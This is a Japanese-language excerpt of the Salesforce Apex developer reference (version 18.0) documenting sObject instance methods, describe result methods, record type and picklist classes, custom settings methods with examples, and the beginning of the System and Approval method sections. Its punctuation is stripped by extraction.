ユーザのカテゴリグループ表示設定に基づく上位表示カテゴリを含むSchemaDataCategory

ListltSchemaDataCategorygtgetTopCategories

オブジェクトを返しますカテゴリグループ表示の詳細はSalesforcecomオンラインヘルプの「カテゴリグループ表示設定の概要」を参照してください

SchemaDataCategory オブジェクト

SchemaDataCategory オブジェクトはカテゴリグループ内のカテゴリを示しますSchemaDataCategory オブジェクトは getTopCategoriesメソッドによって返されます次の表はSchemaDataCategory のすべてのメソッドを示しています引数をとるメソッドはありません

説明戻り値の型名前

データカテゴリの表示サブカテゴリを含む再帰オブジェクトを返します

ListltSchemaDataCategorygtgetChildCategories

Salesforcecomユーザインターフェースで使用するデータカテゴリのラベルを返します

StringgetLabel

データカテゴリにアクセスするAPIで使用される一意の名前を返します

StringgetName

sObject メソッド

sObject メソッドはすべてのインスタンスメソッドで取引先または連絡先などsObject の特定のインスタンスにコールされ操作します次にsObject のインスタンスメソッドを示します

説明戻り値の型引数名前

カスタムエラーメッセージでレコードをマークしDML 操作が行われないようにします

before insertトリガおよび before updateトリガの Triggernewにbefore deleteトリガ

VoidString errorMsgaddError

の Triggeroldに使用するとアプリケーションインターフェースにエラーメッセージが表示されます

「トリガ」 (ページ 65)および「トリガの例外」(ページ 77)を参照してください

Visualforce コントローラで使用すると生成されたメッセージがそのページのエラーのコレクションに追加されます詳細は『Visualforce DevelopersGuide』の「入力規則と標準コントローラ」を参照してください

参照 Version 180 | Apex sObject メソッド | 242

説明戻り値の型引数名前

指定したエラーメッセージをアプリケーションインターフェースのこのメソッドをコールする項目

VoidString errorMsgfieldaddError

に投入しDML 操作が行われないようにします例TriggernewmyField__CaddError(bad)

メモ

bull before insertトリガおよび before update

トリガの Triggernewにbefore deleteトリガのTriggeroldに使用するとアプリケーションインターフェースにエラーが表示されます

bull Visualforce コントローラで使用するとinputFieldコンポーネントが項目に結合される場合メッセージがコンポーネントに添付されます詳細は『Visualforce Developers Guide』の「入力規則と標準コントローラ」を参照してください

bull 項目識別子は実際に呼び出しオブジェクトではなくsObject が呼び出し元であるためこのメソッドは高度に専門化されます項目を使用してエラーの表示に使用する項目を識別します

bull このメソッドは今後のバージョンの Apex で変更される可能性があります

「トリガ」 (ページ 65)および「トリガの例外」(ページ 77)を参照してください

すべての項目値をクリアしますVoidclear

sObject レコードのコピーを作成します

オプションの opt_preserve_id引数は元のオブジェクトの ID を複製で保持するかまたは削除するかを指定します

sObject (同じデータ型)

Booleanopt_preserve_idBooleanopt_IsDeepClone

clone

オプションの opt_IsDeepClone引数はメソッドが sObject の完全コピーを作成するか単なる参照を作成するかを指定します

bull trueに設定するとメソッドは sObject の完全コピーを作成しますリレーション項目などsObject のすべての項目はメモリで複製されますその結果複製された sObject の項目に変更を行っても元の sObject は影響されません

bull falseに設定するとメソッドは元の sObjectへの参照を作成しますその結果複製された

参照 Version 180 | Apex sObject メソッド | 243

説明戻り値の型引数名前

sObject の項目に変更を行っても元の sObjectも影響を受けます

AccountNumberなどfieldNameで指定された項目の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

オブジェクトString fieldNameget

項目トークン SchemasObjectField (例SchemaAccountAccountNumber) で指定された項目の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

オブジェクトSchemasObjectFieldField

get

sObject の databaseDMLOptions オブジェクトを返します

詳細は「データベース DMLOptions メソッド(ページ 273)」を参照してください

DatabaseDMLOptionsgetOptions

fieldNameで指定された項目の値を返しますこのメソッドは主に動的 DML とともに使用して外部 ID の値にアクセスします

詳細は「動的 DML」 (ページ142)を参照してください

sObjectString fieldNamegetSObject

項目トークン SchemafieldName (例SchemaAccountMyExternalId) で指定された

sObjectSchemaSObjectFieldfieldName

getSObject

項目の値を返しますこのメソッドは主に動的DML とともに使用して外部 ID の値にアクセスします

詳細は「動的 DML」 (ページ142)を参照してください

fieldNameで指定された項目の値を返しますこのメソッドは主に動的 DML とともに使用して

sObject[]String fieldNamegetSObjects

子関係など関連オブジェクトの値にアクセスします

詳細は「動的 DML」 (ページ142)を参照してください

項目トークン SchemafieldName (例SchemaAccountContact) で指定された項目の

sObject[]SchemaSObjectTypefieldName

getSObjects

値を返しますこのメソッドは主に動的 DMLとともに使用して子関係など関連オブジェクトの値にアクセスします

参照 Version 180 | Apex sObject メソッド | 244

説明戻り値の型引数名前

詳細は「動的 DML」 (ページ142)を参照してください

この sObject のトークンを返しますこのメソッドは定義情報で使用されます

詳細は「Apex 定義情報について」 (ページ 135)を参照してください

SchemaSObjectTypegetSObjectType

fieldNameで指定された項目の値を設定し項目の以前の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

オブジェクトString fieldNameObject value

put

項目トークン SchemasObjectField (例SchemaAccountAccountNumber) で指定された項目の値を設定し項目の以前の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

オブジェクトSchemaSObjectFieldfieldName Objectvalue

put

fieldNameで指定された項目の値を設定しますこのメソッドは主に動的 DML で使用して外

sObjectString fieldNamesObject value

putSObject

部 ID の値に設定しますメソッドは項目の以前の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

トークンSchemasObjectTypeで指定される項目の値を設定しますこのメソッドは主に動的

sObjectSchemasObjectTypefieldName sObjectvalue

putSObject

DML で使用して外部 ID の値に設定しますメソッドは項目の以前の値を返します

詳細は「動的 SOQL」 (ページ140)を参照してください

sObject の DMLOptions オブジェクトを設定します

詳細は「データベース DMLOptions メソッド(ページ 273)」を参照してください

VoiddatabaseDMLOptionsDMLOptions

setOptions

sObjects についての詳細は「sObject 型」 (ページ 30)を参照してください

sObject 定義結果メソッド

以下の表はsObject定義結果に利用可能なメソッドであるDescribeSObjectResultオブジェクトを示しています引数をとるメソッドはありません

参照 Version 180 | Apex sObject メソッド | 245

説明データ型名前

単独では使用すべきでない特別データタイプを返しますfieldsは項目メンバー変数名ま

Specialfields

たはgetMapメソッドのいづれかによって続かれるべきです例

SchemaDescribeFieldResult F =SchemaSObjectTypeAccountfieldsName

詳細は「Apex 定義情報について」 (ページ135)を参照してください

表示されるsObjectの外部キーを持ったsObjectの名前である子関係のリストを返します例え

ListltSchemaChildRelationshipgtgetChildRelationships

ばAccountオブジェクトは子関係としてContactsとOpportunitiesを含みます

オブジェクトのために3文字プレフィックスコードを返しますレコードIDはオブジェクトの

StringgetKeyPrefix

タイプを指定する3文字コードを前に置きます 例えば取引先は001のプレフィックスを持ち商談は006のプレフィックスを持ちます)

DescribeSobjectResultオブジェクトは安定したプレフィックスを持つオブジェクトのための値を返します安定したまたは予測可能なプレフィックスを持たないオブジェクトタイプに関しては項目は空白ですこれらのコードに依存するクライアントアプリケーションは上位互換性を確実にするためにこのオブジェクトタイプの決定方法を使用可能です

オブジェクト名にマッチするかもしれないししないかもしれないオブジェクトのレーベル

StringgetLabel

を返します例えば医療産業のある組織はAccountのレーベルをPatientに変えるかもしれませんこのラベルはSalesforcecomユーザインターフェースにて使用されます詳細はSalesforcecomオンラインヘルプを参照してください

オブジェクト名にマッチするかもしれないししないかもしれないオブジェクトの複数レー

StringgetLabelPlural

ベルを返します例えば医療産業のある組織はAccountの複数レーベルをPatientに変えるかもしれませんこのラベルはSalesforcecomユーザインターフェースにて使用されます詳細はSalesforcecomオンラインヘルプを参照してください

参照 Version 180 | Apex sObject メソッド | 246

説明データ型名前

getNameメソッドに似ていてオブジェクト名を返しますしかしながらオブジェクトが現

StringgetLocalName

在の名前空間の一部でなければ名前の名前空間部分は削除されます

オブジェクトの名前を返しますStringgetName

このオブジェクトでサポートされたレコードタイプのリストを返します現在のユーザはこ

ListltSchemaRecordTypeInfogtgetRecordTypeInfos

のリスト内でそれを見るためにレコードタイプへのアクセスを持っている必要はありません

その関連付けられたレコードタイプへレコードIDをマッチさせるマップを返します現在の

MapltIDSchemaRecordTypeInfogt

getRecordTypeInfosByID

ユーザはこのマップ内でそれを見るためにレコードタイプへのアクセスを持っている必要はありません

その関連付けられたレコードタイプへレコード名をマッチさせるマップを返します現在の

MapltStringSchemaRecordTypeInfogt

getRecordTypeInfosByName

ユーザはこのマップ内でそれを見るためにレコードタイプへのアクセスを持っている必要はありません

sObject SchemaSObjectType オブジェクトを返します類似した sObject の作成に使用できま

SchemaSObjectTypegetSobjectType

す詳細は「SchemaSObjectType (ページ256)」を参照してください

現行ユーザがこの項目を見た場合trueが返されそうでない場合falseが返されます

BooleanisAccessible

現在のユーザによってオブジェクトが作成された場合trueが返されそうでない場合falseが返されます

BooleanisCreateable

項目がカスタムオブジェクトの場合trueが返され標準オブジェクトの場合falseが返されます

BooleanisCustom

オブジェクトがカスタム設定の場合trueが返されそうでない場合falseが返されます

BooleanisCustomSetting

現在のユーザによってオブジェクトが削除可能な場合trueが返されそうでない場合falseが返されます

BooleanisDeletable

将来の使用のための予備BooleanisDeprecatedAndHidden

オブジェクトが現在のユーザによって他のオブジェクトとマージ可能な場合trueが返され

BooleanisMergeable

参照 Version 180 | Apex sObject メソッド | 247

説明データ型名前

そうでない場合falseが返されますtrue

はリード取引先責任者および取引先に対して返されます

現在のユーザによってそのオブジェクトの問い合わせが可能な場合trueが返されそうでない場合falseが返されます

BooleanisQueryable

現在のユーザによってそのオブジェクトが検索可能な場合trueが返されそうでない場合falseが返されます

BooleanisSearchable

現在のユーザによってそのオブジェクトが復元可能な場合trueが返されそうでない場合falseが返されます

BooleanisUndeletable

現在のユーザによってそのオブジェクトが更新可能な場合trueが返されそうでない場合falseが返されます

BooleanisUpdateable

ChildRelationshipメソッド

sObjectが親オブジェクトの場合ChildRelationshipオブジェクトメソッドを使った子sObjectと同様に子関係にアクセス可能です

ChildRelationshipオブジェクトはgetChildRelationshipメソッドを使ってsObject定義結果から返されます例

SchemaDescribeSObjectResult R = AccountSObjectTypegetDescribe()ListltSchemaChildRelationshipgt C = RgetChildRelationships()

Apex スクリプトごとに 10 件の getChildRelationshipsメソッドを使用できますガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

以下の表はChildRelationshipオブジェクトの一部として利用可能なメソッドを示しています引数をとるメソッドはありません

説明データ型名前

親sObjectに戻る外部キーがある場所の子sObjectのトークンを返します

SchemaSObjectTypegetChildSObject

親sObjectに戻る外部キーを持っている項目のトークンを返します

SchemaSObjectFieldgetField

関係の名前を返しますStringgetRelationshipName

親オブジェクトが削除される時に子オブジェクトが削除される場合はtrueが返されそうでない場合falseが返されます

BooleanisCascadeDelete

将来の使用のための予備BooleanisDeprecatedAndHidden

参照 Version 180 | Apex sObject メソッド | 248

RecordTypeInfoメソッド

sObjectがそれに関連付けられたレコードタイプを持っている場合はRecordTypeInfoオブジェクトメソッドを使ってレコードタイプについての情報にアクセス可能です

RecordTypeInfoオブジェクトはgetRecordTypeInfosメソッドを使ってsObject定義結果から返されます例

SchemaDescribeSObjectResult R = AccountSObjectTypegetDescribe()ListltSchemaRecordTypeInfogt RT = RgetRecordTypeInfos()

getRecordTypeInfosメソッドに加えてgetRecordTypeInfosByIdとgetRecordTypeInfosByNameメソッドも使用可能ですこれらのメソッドはRecordTypeInfoをレコードIDとレコード名に関連付けるマップをそれぞれ返します

Apex スクリプトごとに 10 件の RecordTypeInfo オブジェクトを返すことができますガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

以下の例では少なくとも1つのレコードタイプがAccountオブジェクトのために作成されました

RecordType rt = [select idname from RecordType where SobjectType=Account limit 1]SchemaDescribeSObjectResult d = SchemaSObjectTypeAccount MapltIdSchemaRecordTypeInfogtrtMapById = dgetRecordTypeInfosById() SchemaRecordTypeInfo rtById = rtMapByIdget(rtid)MapltStringSchemaRecordTypeInfogt rtMapByName = dgetRecordTypeInfosByName()SchemaRecordTypeInfo rtByName = rtMapByNameget(rtname)SystemassertEquals(rtByIdrtByName)

以下の表はRecordTypeInfoオブジェクトの一部として利用可能なメソッドを示しています引数をとるメソッドはありません

説明データ型名前

このレコードタイプの名前を返しますStringgetName

このレコードタイプのIDを返しますIDgetRecordTypeId

このレコードタイプが現在のユーザに利用可能な場合trueが返されそうでない場合

BooleanisAvailable

falseが返されます新規レコードを作成する際にレコードタイプを利用可能なユーザのリストを表示するためにこのメソッドを使ってください

これが規定値のレコードタイプマッピングの場合trueを返しそうでない場合falseを返します

BooleanisDefaultRecordTypeMapping

項目定義結果メソッド

以下の表は項目定義結果の一部として利用可能なメソッドを示しています次に項目定義結果オブジェクトのインスタンス化方法の例を示します

SchemaDescribeFieldResult F = AccountAccountNumbergetDescribe()

引数をとるメソッドはありません

参照 Version 180 | Apex sObject メソッド | 249

説明データ型名前

変数長さ項目 バイナリ項目を含む に関してはバイトで項目の最大サイズを返します

IntegergetByteLength

この項目用に指定された数式を返しますStringgetCalculatedFormula

コントロール項目のトークンを返しますSchemasObjectFieldgetController

この項目の規定値を返しますオブジェクトgetDefaultValue

計算項目が使われていない場合この項目用に指定された規定値を返します

StringgetDefaultValueFormula

項目用に指定された最大桁数を返しますこのメソッドはInteger項目でのみ有効です

IntegergetDigits

項目レベルのヘルプの内容を返します詳細はSalesforcecomオンラインヘルプの「項目レベルのヘルプの定義」を参照してください

StringgetInlineHelpText

Salesforcecomユーザインターフェース内の項目の隣に表示されるテキストラベルを返しますこのラベルはローカライズが可能です

StringgetLabel

文字列項目に関しては バイトではなく ユニコード文字の項目最大サイズを返します

IntegergetLength

getNameメソッドに似ていて項目名を返しますしかしながら項目が現在の名前空間の一

StringgetLocalName

部でなければ名前の名前空間部分は削除されます

Apexスクリプトにて使われている項目名を返します

StringgetName

PicklistEntryオブジェクトのリストを返します項目がピックリストでない場合ランタイムエラーが返されます

List ltSchemaPicklistEntrygtgetPicklistValues

タイプDoubleの項目に関しては 小数点のキャラクタは含まないが 小数点の左右すべての数を含む記憶可能な最大桁数を返します

IntegergetPrecision

この項目の親オブジェクトのSchemasObjectType オブジェクトのリストを返

List ltSchemasObjectTypegtgetReferenceTo

しますisNamePointingメソッドがtrueを返す場合リスト内に複数がありそうでない場合は1つしかありません

関係の名前を返します関係と関係名についての詳細はForcecom Web Services API Developers

StringgetRelationshipName

GuideのUnderstanding Relationship Namesを参照してください

参照 Version 180 | Apex sObject メソッド | 250

説明データ型名前

項目が個である場合は 1そうでない場合は 0を返します関係と関係名についての詳細は

IntegergetRelationshipOrder

Forcecom Web Services API Developers GuideのUnderstanding Relationship Namesを参照してください

タイプDoubleの項目に関しては小数点の右の桁数を返します小数点の右側の余分な桁に関

IntegergetScale

しては省略されます小数点の左側の桁数が多すぎる場合はこのメソッドはエラーレスポンスを返します

項目のタイプによってはSoapType enum値の1つを返します詳細は「SchemaSOAPTypeEnum 値 (ページ 256)」を参照してください

SchemaSOAPTypegetSOAPType

この項目のトークンを返しますSchemasObjectFieldgetSObjectField

項目のタイプによってはDisplayType enum値の1つを返します 詳細は

SchemaDisplayTypegetType

「SchemaDisplayType Enum 値 (ページ 254)」を参照してください

現行ユーザがこの項目を見た場合trueが返されそうでない場合falseが返されます

BooleanisAccessible

項目がAuto Number項目の場合trueが返されそうでない場合falseが返されます

SQL IDENTITYタイプに似ていてAutoNumber項目は読み取り専用で最大長30文

BooleanisAutoNumber

字の作成不可能なテキスト項目ですAutoNumber項目は内部オブジェクトから独立している固有IDを提供するために使われます 注文番号または請求番号など Auto Number項目はSalesforcecomユーザインターフェース内で全体的に構成されています

項目がカスタム計算項目の場合trueが返されそうでない場合falseが返されますカ

BooleanisCalculated

スタム数式項目は常に参照のみ可能であることにご注意ください

項目がケースセンシティブな場合trueが返されそうでない場合falseが返されます

BooleanisCaseSensitive

現在のユーザによって項目が作成された場合trueが返されそうでない場合falseが返されます

BooleanisCreateable

参照 Version 180 | Apex sObject メソッド | 251

説明データ型名前

項目がカスタム項目の場合trueが返され標準オブジェクトの場合falseが返されます

BooleanisCustom

項目が作成された時に規定値を受け取った場合trueが返されそうでない場合falseが

BooleanisDefaultedOnCreate

返されますtrueの場合この項目の値が作成コール上にパスされない場合でもオブジェクトが作成された時にSalesforcecomは暗黙的にこの項目用の値を割り当てます例えばOpportunityオブジェクトにおいてProbability項目はその値がStage項目に由来するのでこの属性を持っています同じようにほとんどのオブジェクトにおいてOwnerはその値が現在のユーザに由来するのでこの属性を持っています Owner項目は指定されていません

ピックリストが独立したピックリストの場合trueが返されそうでない場合falseが返されます

BooleanisDependentPicklist

将来の使用のための予備BooleanisDeprecatedAndHidden

項目が外部IDとして使われている場合true

が返されそうでない場合falseが返されます

BooleanisExternalID

項目がWHEREステートメントのフィルタ規準の一部として使われている場合trueが返されそうでない場合falseが返されます

BooleanisFilterable

項目が SOQL クエリの GROUP BY句に含まれる場合は trueをそうでない場合は falseを

BooleanisGroupable

返しますこのメソッドはAPI バージョン180 以降を使用して保存された Apex クラスおよびトリガにのみ使用できます

項目がHTMLにフォーマットされていてHTMLで表示されるようエンコードされている

BooleanisHtmlFormatted

場合trueが返されそうでない場合false

が返されますこのメソッドに対してtrueを返す項目の例の1つはハイパーカスタム計算項目ですもう1つの例はIMAGEテキスト機能を持っているカスタム計算項目です

項目がupsertメソッドでレコードを指定するために使用可能な場合trueが返されそうでない場合falseが返されます

BooleanisIdLookup

項目が名前項目の場合trueが返されそうでない場合falseが返されますこのメソッド

BooleanisNameField

参照 Version 180 | Apex sObject メソッド | 252

説明データ型名前

は標準オブジェクトの名前項目 AccountオブジェクトのAccountNameなど とカスタムオブジェクトを識別するために使われます Contactオブジェクト上にように FirstNameとLastName

項目が代わりに使われる場合を除いてオブジェクトは1つの名前項目しか持ちません

例えば個人取引先のName項目などの混合名が存在する場合isNameFieldはそのレコードに対してtrueに設定されます

項目が複数タイプのオブジェクトを親として持つことが可能な場合trueが返されます例え

BooleanisNamePointing

ばタスクがContactLead ID (WhoId)項目およびOpportunityAccount ID (WhatId)項目の両方を持つことができる場合いづれかのオブジェクトが特定タスクレコードになる可能性があるのでこのメソッドに対してtrueが返されますそれ以外の場合このメソッドはfalseを返します

項目が Null 可能の場合trueが返されそうでない場合falseが返されますnull 値が許

BooleanisNillable

可される項目は中身を空にすることができます非nillable項目は作成または保存されるオブジェクトのための値を持つ必要があります

項目が制限されたピックリストの場合trueが返されそうでない場合falseが返されます

BooleanisRestrictedPicklist

クエリが項目上でソート可能な場合trueが返されそうでない場合falseが返されます

BooleanisSortable

項目の値が固有であある必要がある場合true

が返されそうでない場合falseが返されます

BooleanisUnique

現在のユーザによって項目が編集可能な場合trueが返されそうでない場合falseが返されます

BooleanisUpdateable

詳細オブジェクトへの書き込みに親の読み取り書き込み共有の代わりに読み取り共有が必要な場合trueを返します

BooleanisWriteRequiresMasterRead

参照 Version 180 | Apex sObject メソッド | 253

SchemaDisplayType Enum 値

SchemaDisplayType Enum値は項目定義結果のgetTypeメソッドによって返されます詳細はForcecom WebServices API Developers GuideのField Typesを参照してくださいすべての enum で共有されるメソッドの詳細は「Enum メソッド (ページ 237)」を参照してください

項目オブジェクトに含まれる内容タイプ項目値

値のタイプはStringPicklistBooleanIntegerDoublePercentIDDateDateTimeURLまたは Emailです

anytype

Base64-encodedの任意バイナリデータ タイプbase64Binaryの base64

Boolean (trueまたはfalse)値Boolean

列挙値のセットを提供しユーザがリスト内にない値を指定するのを可能にするCombobox

Combobox

通貨値通貨

日付値Date

DateTime値DateTime

Double値Double

電子メールアドレス電子メール

暗号化文字列EncryptedString

オブジェクトのプライマリキー項目ID

Integer値Integer

複数の値が選択可能な中からの列挙値のセットを提供する複数セレクトピックリスト

MultiPicklist

パーセント値パーセント

電話番号値にはアルファベットを含めることもできます電話番号の書式はクライアントアプリケーションが指定します

Phone

1つの値しか選択可能でない中からの列挙値のセットを提供する単一セレクトピックリスト

選択リスト

外部キー項目に類似した異なるオブジェクトへの相互参照参照

文字列値String

複数テキスト項目として表示される文字列値TextArea

時間の値Time

ハイパーリンクとして表示されるURL値URL

参照 Version 180 | Apex sObject メソッド | 254

SchemaPicklistEntry メソッド

選択リスト項目にはユーザが単一のデータを選択可能な 1 つ以上のデータのリストが含まれますSalesforcecomユーザインターフェースのドロップダウンリストとして表示されますデータの 1 つをデフォルトデータに設定できます

SchemaPicklistEntry オブジェクトはgetPicklistValuesメソッドを使って項目定義結果から返されます例

SchemaDescribeFieldResult F = AccountIndustrygetDescribe() ListltSchemaPicklistEntrygtP = FgetPicklistValues()

Apexスクリプトごとに 10件のgetPicklistValueメソッドを使用できますガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

以下の表はPicklistEntryオブジェクトの一部として利用可能なメソッドを示しています引数をとるメソッドはありません

説明データ型名前

ピックリスト内のこのアイテムの表示名を返しますStringgetLabel

ピックリスト内のこのアイテムの値を返しますStringgetValue

このアイテムがユーザインターフェース内のピックリスト用のドロップダウンリストに表示される必要がある場合trueを返しそうでない場合falseを返します

BooleanisActive

このアイテムがピックリスト用の規定値の場合trueを返しそうでない場合falseを返します選択リスト内の 1 つのアイテムのみをデフォルトに設定できます

BooleanisDefaultValue

SchemasObjectField

SchemasObjectField オブジェクトはgetControlerメソッドおよび getSObjectFieldメソッドを使用して項目定義結果から返されます例

SchemaDescribeFieldResult F = AccountIndustrygetDescribe() SchemasObjectField T =FgetSObjectField()

以下の表はsObjectField オブジェクトの一部として利用可能なメソッドを示していますこのメソッドは引数を採用しません

説明データ型名前

この項目の項目定義結果を返しますSchemaDescribeFieldResultgetDescribe

参照 Version 180 | Apex sObject メソッド | 255

SchemasObjectType

SchemasObjectType オブジェクトは getReferenceToメソッドを使用して項目定義結果からgetSObjectType

メソッドを使用して sObject 定義結果から返されます例

SchemaDescribeFieldResult F = AccountIndustrygetDescribe() ListltSchemasObjectTypegt P= FgetReferenceTo()

以下の表はsObjectType オブジェクトの一部として利用可能なメソッドを示しています

説明データ型引数名前

この項目の sObject 定義結果を返しますSchemaDescribeSObjectResultgetDescribe

このタイプの新しい sObject を構築します

sObjectnewSObject

ID が指定されているこのタイプの新しいsObject を構築します

sObjectId IdnewSObject

SchemaSOAPType Enum 値

schemaSOAPType enum 値は項目定義結果のgetSoapTypeメソッドによって返されます

詳細は『Forcecom Web Services API Developers Guide』のSOAPTypes を参照してくださいすべての enum で共有されるメソッドの詳細は「Enum メソッド (ページ 237)」を参照してください

項目オブジェクトに含まれる内容タイプ項目値

値のタイプはStringBooleanIntegerDoubleIDDateまたはDateTime

ですanytype

Base64-encodedの任意バイナリデータ タイプbase64Binaryの base64

Boolean (trueまたはfalse)値Boolean

日付値Date

DateTime値DateTime

Double値Double

オブジェクトのプライマリキー項目ID

Integer値Integer

文字列値String

時間の値Time

カスタム設定メソッド

カスタム設定メソッドはすべてのインスタンスメソッドのことを指しますつまりカスタム設定の特定のインスタンスで呼び出され操作しますカスタム設定には階層とリストの 2 種類がありますメソッドはリストカスタム設定を処理するメソッドおよび階層カスタム設定を処理するメソッドに分類されます

参照 Version 180 | Apex sObject メソッド | 256

次にリストカスタム設定のインスタンスメソッドを示します

表 1 リストカスタム設定メソッド

説明戻り値の型引数名前

カスタム設定に定義されたデータセットのマップを返します

MapltStringData_set_nameCustomSetting__cgt

getAll

指定された dataset_nameのカスタム設定データセットを返しますこのメソッドは

CustomSetting__cStringdataset_name

getInstance

getValues(dataset_name)と同じオブジェクトを返します

指定された dataset_nameのカスタム設定データセットを返しますこのメソッドは

CustomSetting__cStringdataset_name

getValues

getInstance(dataset_name)と同じオブジェクトを返します

次に階層カスタム設定のインスタンスメソッドを示します

表 2 階層カスタム設定メソッド

説明戻り値の型引数名前

実行ユーザに基づいて「最下位レベル」のカスタム設定レコードを返しますたとえば「システ

CustomSetting__cgetInstance

ム管理者」というプロファイルそして組織全体にに定義されたデータ「山田太郎」というデータがありコードを実行するユーザが山田太郎である場合このメソッドは山田太郎に定義されたされたデータセットを返します実行ユーザが「井上花子」で「システム管理者」プロファイルを共有しているが井上花子にユーザとして定義されたデータがない場合このメソッドはプロファイルレベルで定義されたデータセットを返します

指定されたUser_Idのカスタム設定データセットを返しますユーザレベルのカスタム設定のデータを明示的に取得する場合に使用します

CustomSetting__cID User_IdgetInstance

指定されたProfile_Idのカスタム設定データセットを返しますプロファイルレベルのカスタム設定のデータを明示的に取得する場合に使用します

CustomSetting__cID Profile_IdgetInstance

組織のカスタム設定データセットを返しますCustomSetting__cgetOrgDefaults

指定されたUser_Idのカスタム設定データセットを返しますユーザレベルで定義されているカス

CustomSetting__cID User_IdgetValues

タム設定データのサブセットが必要な場合にのみ使用しますたとえば組織レベルで「foo」の値

参照 Version 180 | Apex sObject メソッド | 257

説明戻り値の型引数名前

を割り当てられているカスタム設定項目がありユーザレベルまたはプロファイルレベルで値が割り当てられていないとしますgetValues(User_Id)はカスタム設定項目にNULL を返します

指定されたProfile_Idのカスタム設定データセットを返しますプロファイルレベルで定義されて

CustomSetting__cID Profile_IdgetValues

いるカスタム設定データのサブセットが必要な場合にのみ使用しますたとえば組織レベルで「foo」の値を割り当てられているカスタム設定項目がありユーザレベルまたはプロファイルレベルで値が割り当てられていないとしますgetValues(Profile_Id)はカスタム設定項目にNULL を返します

カスタム設定の詳細はSalesforcecom オンラインヘルプの「カスタム設定の概要」を参照してください

カスタム設定の例

次の例ではGames というリストカスタム設定を使用しますGames には GameTypeという項目があります最初のデータセットの値が文字列 PCがどうかを決定します

ListltGames__Cgt mcs = Games__cgetall()values() boolean textField = null if(mcs[0]GameType__c == PC) textField = true systemassertEquals(textField true)

次の例では階層カスタム設定 GamesSupport には Corporate_numberという項目がありますコードは pidで指定されたプロファイルの値を返します

GamesSupport__c mhc = GamesSupport__cgetInstance(pid) string mPhone =mhcCorporate_number__c

getValuesメソッドを使用した場合例は同じになります

階層カスタム設定の例

次の例ではHierarchy という階層カスタム設定を使用しますHierarchy にはOverrideMeおよびDontOverrideMeという 2 つの項目がありますまたユーザ Robert には System Administrator プロファイルがありますこの例の組織プロファイルユーザ設定は次のようになります

組織の設定OverrideMe Hello

DontOverrideMe World

プロファイルの設定OverrideMe Goodbye

DontOverrideMeは設定されません

参照 Version 180 | Apex sObject メソッド | 258

ユーザ設定OverrideMe Fluffy

DontOverrideMeは設定されません

次の例はRobert が組織で getInstanceメソッドを呼び出した場合の結果を示します

Hierarchy__c CS = Hierarchy__cgetInstance() SystemAssert(CSOverrideMe__c == Fluffy)Systemassert(CSDontOverrideMe__c == World)

Robert が RobertIdで指定したユーザ ID を getInstanceに渡すと結果は同じになりますこれはカスタム設定のデータの最下位レベルがユーザレベルで指定されるためです

Hierarchy__c CS = Hierarchy__cgetInstance(RobertId) SystemAssert(CSOverrideMe__c ==Fluffy) Systemassert(CSDontOverrideMe__c == World)

Robert が SysAdminIDで指定された System Administrator プロファイル ID を getInstanceに渡すと結果は異なりますプロファイルに指定されたデータが返されます

Hierarchy__c CS = Hierarchy__cgetInstance(SysAdminID) SystemAssert(CSOverrideMe__c ==Goodbye) Systemassert(CSDontOverrideMe__c == World)

Robert が getOrgDefaultsを使用して組織のデータセットを返そうとする場合結果は次のようになります

Hierarchy__c CS = Hierarchy__cgetOrgDefaults() SystemAssert(CSOverrideMe__c == Hello)Systemassert(CSDontOverrideMe__c == World)

getValuesメソッド使用してRobert はユーザ設定およびプロファイル設定特有の階層カスタム設定値を取得できますたとえばRobert がユーザ ID RobertIdを getValuesに渡す場合結果は次のようになります

Hierarchy__c CS = Hierarchy__cgetValues(RobertId) SystemAssert(CSOverrideMe__c ==Fluffy) Note how this value is null because you are returning data specific forthe user Systemassert(CSDontOverrideMe__c == null)

Robert が System Administrator プロファイル ID SysAdminIDを getInstanceに渡すと結果は次のようになります

Hierarchy__c CS = Hierarchy__cgetValues(SysAdminID) SystemAssert(CSOverrideMe__c ==Goodbye) Note how this value is null because you are returning data specific forthe profile Systemassert(CSDontOverrideMe__c == null)

System メソッド

Apex システムメソッド次の Apex システムメソッドはデータを処理する特別なクラスおよびメソッドです

bull ApexPagesbull Approvalbull データベース

参照 Version 180 | System メソッド | 259

Database Batch-- Database DMLOptions- Database EmptyRecycleBinResult- Database Error

bull Limitsbull Mathbull Packagebull Searchbull Systembull Test

ApexPages メソッド

現在のページを参照するだけでなく現在のページに関連するメッセージの追加やチェックをするために ApexPagesを使用しますさらにApexPages は PageReferenceクラスおよび Messageクラスの名前空間として使用されます

次の表にApexPages メソッドの一覧を示します

説明戻り値の型引数名前

現在のページのコンテキストにメッセージを追加しますメッセージについての詳細は「メッセージクラス (ページ 325)」を参照してください

VoidsObjectApexPagesMessage

addMessage

発生した例外に基づいて現在のページのコンテキストにメッセージのリストを追加しますメッ

VoidException exaddMessages

セージについての詳細は「Messageクラス (ページ 325)」を参照してください

現在のコンテキストに関連したメッセージのリストを返しますメッセージについての詳細は

ApexPagesMessage[]getMessages

「メッセージクラス (ページ325)」を参照してください

現在のコンテキストに関連したメッセージが存在する場合は trueをそれ以外の場合は falseを

BooleanhasMessages

返しますメッセージについての詳細は「メッセージクラス (ページ325)」を参照してください

指定された重要度のメッセージが存在する場合はtrueをそれ以外の場合は falseを返します

BooleanApexPagesSeverityhasMessages

メッセージについての詳細は「Messageクラス(ページ 325)」を参照してください

Approval メソッド

次の表では静的 Approval メソッドを示していますApproval はProcessRequestクラスおよびProcessResult

クラスの名前空間として使用されます

参照 Version 180 | Apex システムメソッド | 260

説明戻り値の型引数名前

新しい承認要求を送信し既存の承認要求を承認または拒否します

アカウントを挿入

ApprovalProcessResultApprovalProcessRequestProcessRequest

process

Account a = new Account(Name=TestannualRevenue=1000)

insert a

アカウントの承認要求を作成ApprovalProcessSubmitRequest req1 = newApprovalProcessSubmitRequest()req1setObjectId(aid)

アカウントの承認要求を送信ApprovalProcessSubmitRequest req1 = newApprovalProcessSubmitRequest()req1setObjectId(aid)

Apex 承認プロセスの詳細はApex 承認プロセスクラス (ページ 361)を参照してください

新しい承認要求を送信し既存の承認要求を承認または拒否します

